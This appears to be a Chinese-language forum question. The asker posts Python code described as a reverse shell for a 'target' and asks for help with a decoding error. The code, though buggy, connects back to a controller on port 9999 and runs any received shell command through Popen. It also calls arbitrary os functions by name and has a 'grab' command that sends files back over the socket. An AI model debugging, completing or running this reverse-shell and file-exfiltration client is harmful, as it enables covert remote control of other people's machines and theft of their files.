我正在为客户端服务器模型进行编码(反向shell代码,这是目标的代码) 这是代码的一部分(这是另一个函数调用的函数) 它给出了“不支持解码str”。 这是代码 FileSender函数从其他函数输入套接字名称和文件名作为输入(效果很好)。
#!/bin/bash
from socket import *
from subprocess import *
import os
def FileSender(s,Fname):
try:
os.path.exists(Fname)
TotalSize=str(os.path.getsize(Fname))
s.send(str("Filesize -",TotalSize).encode('utf-8'))
r=s.recv(1024)
resonse=r.decode("utf-8")
if resonse =="Y":
f=open(Fname,"rb")
DatatToBeSent=f.read(1024)
SentData=DatatToBeSent
s.send(DatatToBeSent)
while SentData<TotalSize:
DatatToBeSent=f.read(1024)
s.send(DatatToBeSent)
SentData=DatatToBeSent+SentData
except Exception as EE:
s.send(str(EE).encode("utf-8"))
def CallOs(s,task):
module=__import__("os")
SP=task.split()
attribute=SP[0]
try:
function=getattr(module,attribute)
if len(SP)==2:
value=SP[1]
try:
R1=function(value)
s.send((str(R1)).encode("utf-8"))
except Exception as E1:
s.send((str(E1)).encode("utf-8"))
else:
try:
R1=function()
s.send((str(R1)).encode('utf-8'))
except Exception as E2:
s.send((str(E2)).encode("utf-8"))
except Exception as E3:
s.send((str(E3)).encode("utf-8"))
def connection():
s=socket(AF_INET,SOCK_STREAM)
S_IP=gethostbyname(gethostname())
#S_IP=''
S_P=9999
s.connect((S_IP,S_P))
while True:
RM=s.recv(1024)
command=RM.decode("utf-8")
if command=="DONE":
s.close()
break
elif command[0]=='*':
task=command[1:]
CallOs(s,task)
elif command[:4]=="grab":
Fname=command[5:]
FileSender(s,Fname)
else:
process=Popen(command,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
s.send(process.stdout.read())
s.send(process.stderr.read())
connection()